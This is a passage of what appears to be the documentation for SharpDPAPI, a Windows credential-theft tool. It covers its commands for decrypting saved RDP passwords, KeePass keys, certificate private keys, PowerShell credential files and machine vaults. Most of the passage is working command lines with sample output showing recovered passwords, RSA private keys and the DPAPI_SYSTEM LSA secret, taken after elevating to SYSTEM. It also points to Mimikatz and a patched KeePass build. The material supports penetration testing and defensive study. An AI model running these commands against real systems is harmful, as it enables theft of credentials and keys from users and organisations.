Explorer\r\n        Identity         : account\r\n        Resource         : http://www.abc.com/\r\n        Authenticator    : password\r\n\r\n\r\n#### rdg\r\n\r\nThe **rdg** command will search for RDCMan.settings files for the current user (or if elevated, all users) and either a) decrypt them with any \"{GUID}:SHA1\" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.\r\n\r\nThe `/unprotect` flag will use CryptUnprotectData() to decrypt any saved RDP passwords, *if* the command is run from the user context who saved the passwords. This can be done from an _unprivileged_ context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's [documentation here](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem).\r\n\r\nA specific RDCMan.settings file, .RDC file (or folder of .RDG files) can be specified with `/target:FILE` or `/target:C:\\Folder\\`. If a file is specified, {GUID}:SHA1 values (or `/unprotect`) are required, and if a folder is specified either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.\r\n\r\nThis command will decrypt any saved password information from both the RDCMan.settings file and any .RDG files referenced by the RDCMan.settings file.\r\n\r\nUsing `/unprotect` to decrypt any found passwords:\r\n\r\n    C:\\Temp\u003eSharpDPAPI.exe rdg /unprotect\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.3.0\r\n\r\n\r\n    [*] Action: RDG Triage\r\n\r\n    [*] Using CryptUnprotectData() to decrypt RDG passwords\r\n\r\n    [*] Triaging RDCMan Settings Files for current user\r\n\r\n        RDCManFile    : C:\\Users\\harmj0y\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings\r\n        Accessed      : 5/9/2019 11:52:58 AM\r\n        Modified      : 5/9/2019 11:52:58 AM\r\n        Recent Server : test\\primary.testlab.local\r\n\r\n            Cred Profiles\r\n\r\n              Profile Name : testprofile\r\n                UserName   : testlab.local\\dfm\r\n                Password   : Password123!\r\n\r\n            Default Logon Credentials\r\n\r\n              Profile Name : Custom\r\n                UserName   : TESTLAB\\harmj0y\r\n                Password   : Password123!\r\n\r\n          C:\\Users\\harmj0y\\Documents\\test.rdg\r\n\r\n            Servers\r\n\r\n              Name         : secondary.testlab.local\r\n\r\n              Name         : primary.testlab.local\r\n              Profile Name : Custom\r\n                UserName   : TESTLAB\\dfm.a\r\n                Password   : Password123!\r\n\r\n\r\nUsing domain {GUID}:SHA1 masterkey mappings:\r\n\r\n    C:\\Temp\u003eSharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.3.0\r\n\r\n\r\n    [*] Action: RDG Triage\r\n\r\n    [*] Using CryptUnprotectData() to decrypt RDG passwords\r\n\r\n    [*] Triaging RDCMan Settings Files for current user\r\n\r\n        RDCManFile    : C:\\Users\\harmj0y\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings\r\n        Accessed      : 5/9/2019 11:52:58 AM\r\n        Modified      : 5/9/2019 11:52:58 AM\r\n        Recent Server : test\\primary.testlab.local\r\n\r\n            Cred Profiles\r\n\r\n              Profile Name : testprofile\r\n                UserName   : testlab.local\\dfm\r\n                Password   : Password123!\r\n\r\n            Default Logon Credentials\r\n\r\n              Profile Name : Custom\r\n                UserName   : TESTLAB\\harmj0y\r\n                Password   : Password123!\r\n\r\n          C:\\Users\\harmj0y\\Documents\\test.rdg\r\n\r\n            Servers\r\n\r\n              Name         : secondary.testlab.local\r\n\r\n              Name         : primary.testlab.local\r\n              Profile Name : Custom\r\n                UserName   : TESTLAB\\dfm.a\r\n                Password   : Password123!\r\n\r\n\r\nUsing a domain DPAPI backup key to first decrypt any discoverable masterkeys:\r\n\r\n    C:\\Temp\u003eSharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.3.0\r\n\r\n\r\n    [*] Action: RDG Triage\r\n\r\n    [*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n\r\n    [*] User master key cache:\r\n\r\n    {42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665\r\n    ...(snip)...\r\n\r\n    [*] Triaging RDCMan.settings Files for ALL users\r\n\r\n        RDCManFile    : C:\\Users\\harmj0y\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings\r\n        Accessed      : 5/9/2019 11:52:58 AM\r\n        Modified      : 5/9/2019 11:52:58 AM\r\n        Recent Server : test\\primary.testlab.local\r\n\r\n            Cred Profiles\r\n\r\n              Profile Name : testprofile\r\n                UserName   : testlab.local\\dfm.a\r\n                Password   : Password123!\r\n\r\n            Default Logon Credentials\r\n\r\n              Profile Name : Custom\r\n                UserName   : TESTLAB\\harmj0y\r\n                Password   : Password123!\r\n\r\n          C:\\Users\\harmj0y\\Documents\\test.rdg\r\n\r\n            Servers\r\n\r\n              Name         : secondary.testlab.local\r\n\r\n              Name         : primary.testlab.local\r\n              Profile Name : Custom\r\n                UserName   : TESTLAB\\dfm.a\r\n                Password   : Password123!\r\n\r\n\r\n#### keepass\r\n\r\nThe **keepass** command will search for KeePass ProtectedUserKey.bin files for the current user (or if elevated, all users) and either a) decrypt them with any \"{GUID}:SHA1\" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.\r\n\r\nThe `/unprotect` flag will use CryptUnprotectData() to decrypt the key bytes, *if* the command is run from the user context who saved the passwords. This can be done from an _unprivileged_ context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's [documentation here](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem).\r\n\r\nA specific ProtectedUserKey.bin file, .RDC file (or folder of .RDG files) can be specified with `/target:FILE` or `/target:C:\\Folder\\`. If a file is specified, {GUID}:SHA1 values (or `/unprotect`) are required, and if a folder is specified either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.\r\n\r\nDecrypted key file bytes can be used with the [modified KeePass version in KeeThief](https://github.com/GhostPack/KeeThief/tree/master/KeePass-2.34-Source-Patched).\r\n\r\nUsing `/unprotect` to decrypt any found key material:\r\n\r\n    C:\\Temp\u003e SharpDPAPI.exe  keepass /unprotect\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.10.0\r\n\r\n\r\n    [*] Action: KeePass Triage\r\n\r\n    [*] Using CryptUnprotectData() for decryption.\r\n\r\n    [*] Triaging KeePass ProtectedUserKey.bin files for current user\r\n\r\n        File             : C:\\Users\\harmj0y\\AppData\\Roaming\\KeePass\\ProtectedUserKey.bin\r\n        Accessed         : 3/1/2021 1:38:22 PM\r\n        Modified         : 1/4/2021 5:49:49 PM\r\n        guidMasterKey    : {dab90445-0a08-4b27-9110-b75d4a7894d0}\r\n        size             : 210\r\n        flags            : 0x0\r\n        algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)\r\n        description      :\r\n        Key Bytes        : 39 2E 63 EF 0E 37 E8 5C 34 ...\r\n\r\n\r\n    SharpDPAPI completed in 00:00:00.0566660\r\n\r\n\r\n#### certificates\r\n\r\nThe **certificates** command will search user encrypted DPAPI certificate private keys a) decrypt them with any \"{GUID}:SHA1\" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.\r\n\r\nThe `/unprotect` flag will use CryptUnprotectData() to decrypt private keys, *if* the command is run from the user context whose certificates you are trying to access. This can be done from an _unprivileged_ context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's [documentation here](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem).\r\n\r\nA specific certificate can be specified with `/target:FILE` or `/target:C:\\Folder\\`. In both cases, {GUID}:SHA1 values (or `/unprotect`) are required or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.\r\n\r\nBy default, only private keys linkable to an associated installed certificate are displayed. The `/showall` command will display ALL decrypted private keys.\r\n\r\nUse the `/cng` flag for CNG private keys (default is capi).\r\n\r\nUsing domain {GUID}:SHA1 masterkey mappings:\r\n\r\n    C:\\Temp\u003e SharpDPAPI.exe certificates {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...(snip)...\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.10.0\r\n\r\n\r\n    [*] Action: Certificate Triage\r\n\r\n    Folder       : C:\\Users\\harmj0y\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-937929760-3187473010-80948926-1104\r\n\r\n      File               : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0\r\n\r\n        Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}\r\n        Master Key GUID  : {dab90445-0a08-4b27-9110-b75d4a7894d0}\r\n        Description      : CryptoAPI Private Key\r\n        algCrypt         : CALG_3DES (keyLen 192)\r\n        algHash          : CALG_SHA (32772)\r\n        Salt             : ef98458bca7135fe1bb89b3715180ae6\r\n        HMAC             : 5c3c3da2a4f6548a0186c22f86d7bc85\r\n        Unique Name      : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da\r\n\r\n        Thumbprint       : 98A03BC583861DCC19045758C0E0C05162091B6C\r\n        Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local\r\n        Subject          : CN=harmj0y\r\n        Valid Date       : 2/22/2021 2:19:02 PM\r\n        Expiry Date      : 2/22/2022 2:19:02 PM\r\n        Enhanced Key Usages:\r\n            Client Authentication (1.3.6.1.5.5.7.3.2)\r\n             [!] Certificate is used for client auth!\r\n            Secure Email (1.3.6.1.5.5.7.3.4)\r\n            Encrypting File System (1.3.6.1.4.1.311.10.3.4)\r\n\r\n        [*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:\r\n\r\n    -----BEGIN RSA PRIVATE KEY-----\r\n    MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...\r\n    -----END RSA PRIVATE KEY-----\r\n    -----BEGIN CERTIFICATE-----\r\n    MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...\r\n    -----END CERTIFICATE-----\r\n\r\nUsing `/unprotect` to decrypt any found user certificates:\r\n\r\n    C:\\Temp\u003e SharpDPAPI.exe certificates /unprotect\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.11.3\r\n\r\n\r\n    [*] Action: Certificate Triage\r\n\r\n    [*] Using CryptUnprotectData() for decryption.\r\n\r\n\r\n    Folder       : C:\\Users\\harmj0y\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-937929760-3187473010-80948926-1104\r\n\r\n      File               : f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b\r\n\r\n        Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}\r\n        Master Key GUID  : {27db0044-e2aa-4ea2-b2c0-c469e9b29ed9}\r\n        Description      : Private Key\r\n        algCrypt         : CALG_AES_256 (keyLen 256)\r\n        algHash          : CALG_SHA_512 (32782)\r\n        Salt             : d7e1e00ed8a6249b5f05c487154e83cc0b51f71131530d0d46d3bfc63d890468\r\n        HMAC             : 4869f296cdcc964262a57e2efc4f2c5df57c2ed7319e297daa2107810da5c171\r\n        Unique Name      : {4A07001C-57BE-4E8B-86D1-43CACDF8D448}\r\n\r\n        Thumbprint       : BBD9B90FE1A4E37BD646CBC922ABE06C24C1E725\r\n        Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local\r\n        Subject          : CN=harmj0y\r\n        Valid Date       : 10/18/2022 11:40:07 AM\r\n        Expiry Date      : 10/18/2023 12:00:07 PM\r\n        Enhanced Key Usages:\r\n            Client Authentication (1.3.6.1.5.5.7.3.2)\r\n             [!] Certificate is used for client auth!\r\n            Server Authentication (1.3.6.1.5.5.7.3.1)\r\n\r\n        [*] Private key file f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b was recovered:\r\n\r\n    -----BEGIN RSA PRIVATE KEY-----\r\n    MIIEowIBAAKCAQEAxVEW49fMt...(snip)...\r\n    -----END RSA PRIVATE KEY-----\r\n    -----BEGIN CERTIFICATE-----\r\n    MIIDKjCCAhKgAwIBAgIQYwhUr...(snip)...\r\n    -----END CERTIFICATE-----\r\n\r\nUsing a domain DPAPI backup key to first decrypt any discoverable masterkeys:\r\n\r\n    C:\\Temp\u003eSharpDPAPI.exe certificates /pvk:HvG1sAAAAAABAAAAAAAAAAAAAACU...(snip)...\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.10.0\r\n\r\n\r\n    [*] Action: Certificate Triage\r\n    [*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n\r\n\r\n    [*] User master key cache:\r\n\r\n    {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB51371...(snip)...\r\n\r\n\r\n\r\n    Folder       : C:\\Users\\harmj0y\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-937929760-3187473010-80948926-1104\r\n\r\n      File               : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0\r\n\r\n        Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}\r\n        Master Key GUID  : {dab90445-0a08-4b27-9110-b75d4a7894d0}\r\n        Description      : CryptoAPI Private Key\r\n        algCrypt         : CALG_3DES (keyLen 192)\r\n        algHash          : CALG_SHA (32772)\r\n        Salt             : ef98458bca7135fe1bb89b3715180ae6\r\n        HMAC             : 5c3c3da2a4f6548a0186c22f86d7bc85\r\n        Unique Name      : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da\r\n\r\n        Thumbprint       : 98A03BC583861DCC19045758C0E0C05162091B6C\r\n        Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local\r\n        Subject          : CN=harmj0y\r\n        Valid Date       : 2/22/2021 2:19:02 PM\r\n        Expiry Date      : 2/22/2022 2:19:02 PM\r\n        Enhanced Key Usages:\r\n            Client Authentication (1.3.6.1.5.5.7.3.2)\r\n             [!] Certificate is used for client auth!\r\n            Secure Email (1.3.6.1.5.5.7.3.4)\r\n            Encrypting File System (1.3.6.1.4.1.311.10.3.4)\r\n\r\n        [*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:\r\n\r\n    -----BEGIN RSA PRIVATE KEY-----\r\n    MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...\r\n    -----END RSA PRIVATE KEY-----\r\n    -----BEGIN CERTIFICATE-----\r\n    MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...\r\n    -----END CERTIFICATE-----\r\n\r\n\r\n#### triage\r\n\r\nThe **triage** command runs the user [credentials](#credentials), [vaults](#vaults), [rdg](#rdg), and [certificates](#certificates) commands.\r\n\r\n\r\n### Machine Triage\r\n\r\n#### machinemasterkeys\r\n\r\nThe **machinemasterkeys** command will elevated to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. It will return a set of masterkey {GUID}:SHA1 mappings.\r\n\r\nLocal administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).\r\n\r\n    C:\\Temp\u003eSharpDPAPI.exe machinemasterkeys\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.2.0\r\n\r\n\r\n    [*] Action: Machine DPAPI Masterkey File Triage\r\n\r\n    [*] Elevating to SYSTEM via token duplication for LSA secret retrieval\r\n    [*] RevertToSelf()\r\n\r\n    [*] Secret  : DPAPI_SYSTEM\r\n    [*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3\r\n    [*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3\r\n\r\n\r\n    [*] SYSTEM master key cache:\r\n\r\n    {1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C\r\n    ...(snip)...\r\n\r\n\r\n\r\n#### machinecredentials\r\n\r\nThe **machinecredentials** command will elevated to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. These keys are then used to decrypt any found machine Credential files.\r\n\r\nLocal administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).\r\n\r\n    C:\\Temp\u003eSharpDPAPI.exe machinecredentials\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.2.0\r\n\r\n\r\n    [*] Action: Machine DPAPI Credential Triage\r\n\r\n    [*] Elevating to SYSTEM via token duplication for LSA secret retrieval\r\n    [*] RevertToSelf()\r\n\r\n    [*] Secret  : DPAPI_SYSTEM\r\n    [*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3\r\n    [*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3\r\n\r\n    [*] SYSTEM master key cache:\r\n\r\n    {1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C\r\n    ...(snip)...\r\n\r\n\r\n    [*] Triaging System Credentials\r\n\r\n\r\n    Folder       : C:\\WINDOWS\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials\r\n\r\n      CredFile           : C73A55F92FAE222C18A8989FEA28A1FE\r\n\r\n        guidMasterKey    : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}\r\n        size             : 544\r\n        flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)\r\n        algHash/algCrypt : 32782/26128\r\n        description      : Local Credential Data\r\n\r\n        LastWritten      : 3/24/2019 7:08:43 PM\r\n        TargetName       : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}\r\n        TargetAlias      :\r\n        Comment          :\r\n        UserName         : TESTLAB\\harmj0y\r\n        Credential       : Password123!\r\n\r\n\r\n    Folder       : C:\\WINDOWS\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Credentials\r\n\r\n      CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D\r\n\r\n        ...(snip)...\r\n\r\n\r\n#### machinevaults\r\n\r\nThe **machinevaults** command will elevated to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. These keys are then used to decrypt any found machine Vaults.\r\n\r\nLocal administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).\r\n\r\n    C:\\Temp\u003eSharpDPAPI.exe machinevaults\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.2.0\r\n\r\n\r\n    [*] Action: Machine DPAPI Vault Triage\r\n\r\n    [*] Elevating to SYSTEM via token duplication for LSA secret retrieval\r\n    [*] RevertToSelf()\r\n\r\n    [*] Secret  : DPAPI_SYSTEM\r\n    [*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3\r\n    [*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3\r\n\r\n    [*] SYSTEM master key cache:\r\n\r\n    {1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C\r\n    ...(snip)...\r\n\r\n\r\n    [*] Triaging SYSTEM Vaults\r\n\r\n\r\n    [*] Triaging Vault folder: C:\\WINDOWS\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Vault\\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\r\n\r\n      VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28\r\n      Name               : Web Credentials\r\n        guidMasterKey    : {0bd732d9-c396-4f9a-a69a-508632c05235}\r\n        size             : 324\r\n        flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)\r\n        algHash/algCrypt : 32782/26128\r\n        description      :\r\n        aes128 key       : 74CE3D7BCC4D0C4734931041F6D00D09\r\n        aes256 key       : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081\r\n\r\n    ...(snip)...\r\n\r\n\r\n#### certificates /machine\r\n\r\nThe **certificates /machine** command will use the machine certificate store to look for decryptable machine certificate private keys. `/mkfile:X` and `{GUID}:masterkey` are usable with the `/target:\\[file|folder\\]` command, otherwise SharpDPAPI will elevate to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. These keys are then used to decrypt any found machine system encrypted DPAPI private certificate keys.\r\n\r\nBy default, only private keys linkable to an associated installed certificate are displayed. The `/showall` command will display ALL decrypted private keys.\r\n\r\nLocal administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).\r\n\r\n    C:\\Temp\u003eSharpDPAPI.exe certificates /machine\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.10.0\r\n\r\n\r\n    [*] Action: Certificate Triage\r\n    [*] Elevating to SYSTEM via token duplication for LSA secret retrieval\r\n    [*] RevertToSelf()\r\n\r\n    [*] Secret  : DPAPI_SYSTEM\r\n    [*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3\r\n    [*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3\r\n\r\n\r\n    [*] SYSTEM master key cache:\r\n\r\n    {f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(snip)...\r\n\r\n\r\n    [*] Triaging System Certificates\r\n\r\n\r\n    Folder       : C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\r\n\r\n      File               : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0\r\n\r\n        Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}\r\n        Master Key GUID  : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}\r\n        Description      : CryptoAPI Private Key\r\n        algCrypt         : CALG_3DES (keyLen 192)\r\n        algHash          : CALG_SHA (32772)\r\n        Salt             : aa8c9e4849455660fc5fc96589f3e40e\r\n        HMAC             : 9138559ef30fbd70808dca2c1ed02a29\r\n        Unique Name      : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650\r\n\r\n        Thumbprint       : A82ED8207DF6BC16BB65BF6A91E582263E217A4A\r\n        Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local\r\n        Subject          : CN=dev.theshire.local\r\n        Valid Date       : 2/22/2021 3:50:43 PM\r\n        Expiry Date      : 2/22/2022 3:50:43 PM\r\n        Enhanced Key Usages:\r\n            Client Authentication (1.3.6.1.5.5.7.3.2)\r\n             [!] Certificate is used for client auth!\r\n            Server Authentication (1.3.6.1.5.5.7.3.1)\r\n\r\n        [*] Private key file 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:\r\n\r\n    -----BEGIN RSA PRIVATE KEY-----\r\n    MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...\r\n    -----END RSA PRIVATE KEY-----\r\n    -----BEGIN CERTIFICATE-----\r\n    MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...\r\n    -----END CERTIFICATE-----\r\n\r\n\r\n#### machinetriage\r\n\r\nThe **machinetriage** command runs the user [machinecredentials](#machinecredentials), [machinevaults](#machinevaults), and [certificates /machine](#certificates--machine) commands.\r\n\r\n\r\n### Misc\r\n\r\n#### ps\r\n\r\nThe **ps** command will describe/decrypt an exported PSCredential clixml. A `/target:FILE.xml` *must* be supplied.\r\n\r\nThe command will a) decrypt the file with any \"{GUID}:SHA1\" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.\r\n\r\nThe `/unprotect` flag will use CryptUnprotectData() to decrypt the credenial .xml without masterkeys needed, *if* the command is run from the user context who saved the passwords. This can be done from an _unprivileged_ context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's [documentation here](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem).\r\n\r\nDecrypt an exported credential .xml using CryptProtectData() (the `/unprotect` flag):\r\n\r\n    PS C:\\Temp\u003e $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\r\n    PS C:\\Temp\u003e New-Object System.Management.Automation.PSCredential('TESTLAB\\user', $SecPassword) | Export-CLIXml C:\\Temp\\cred.xml\r\n    PS C:\\Temp\u003e .\\SharpDPAPI.exe ps /target:C:\\Temp\\cred.xml /unprotect\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.5.0\r\n\r\n\r\n    [*] Action: Describe PSCredential .xml\r\n\r\n        CredFile         : C:\\Temp\\cred.xml\r\n        Accessed         : 7/25/2019 11:53:09 AM\r\n        Modified         : 7/25/2019 11:53:09 AM\r\n        User Name        : TESTLAB\\user\r\n        guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}\r\n        size             : 170\r\n        flags            : 0x0\r\n        algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)\r\n        description      :\r\n        Password         : Password123!\r\n\r\n\r\nUsing domain {GUID}:SHA1 masterkey mappings:\r\n\r\n    PS C:\\Temp\u003e $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\r\n    PS C:\\Temp\u003e New-Object System.Management.Automation.PSCredential('TESTLAB\\user', $SecPassword) | Export-CLIXml C:\\Temp\\cred.xml\r\n    PS C:\\Temp\u003e .\\SharpDPAPI.exe ps /target:C:\\Temp\\cred.xml \"{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3\"\r\n\r\n      __                 _   _       _ ___\r\n     (_  |_   _. ._ ._  | \\ |_) /\\  |_) |\r\n     __) | | (_| |  |_) |_/ |  /--\\ |  _|_\r\n                    |\r\n      v1.5.0\r\n\r\n\r\n    [*] Action: Describe PSCredential .xml\r\n\r\n    [*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!\r\n\r\n    [*] User master key cache:\r\n\r\n    {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3\r\n\r\n        CredFile         : 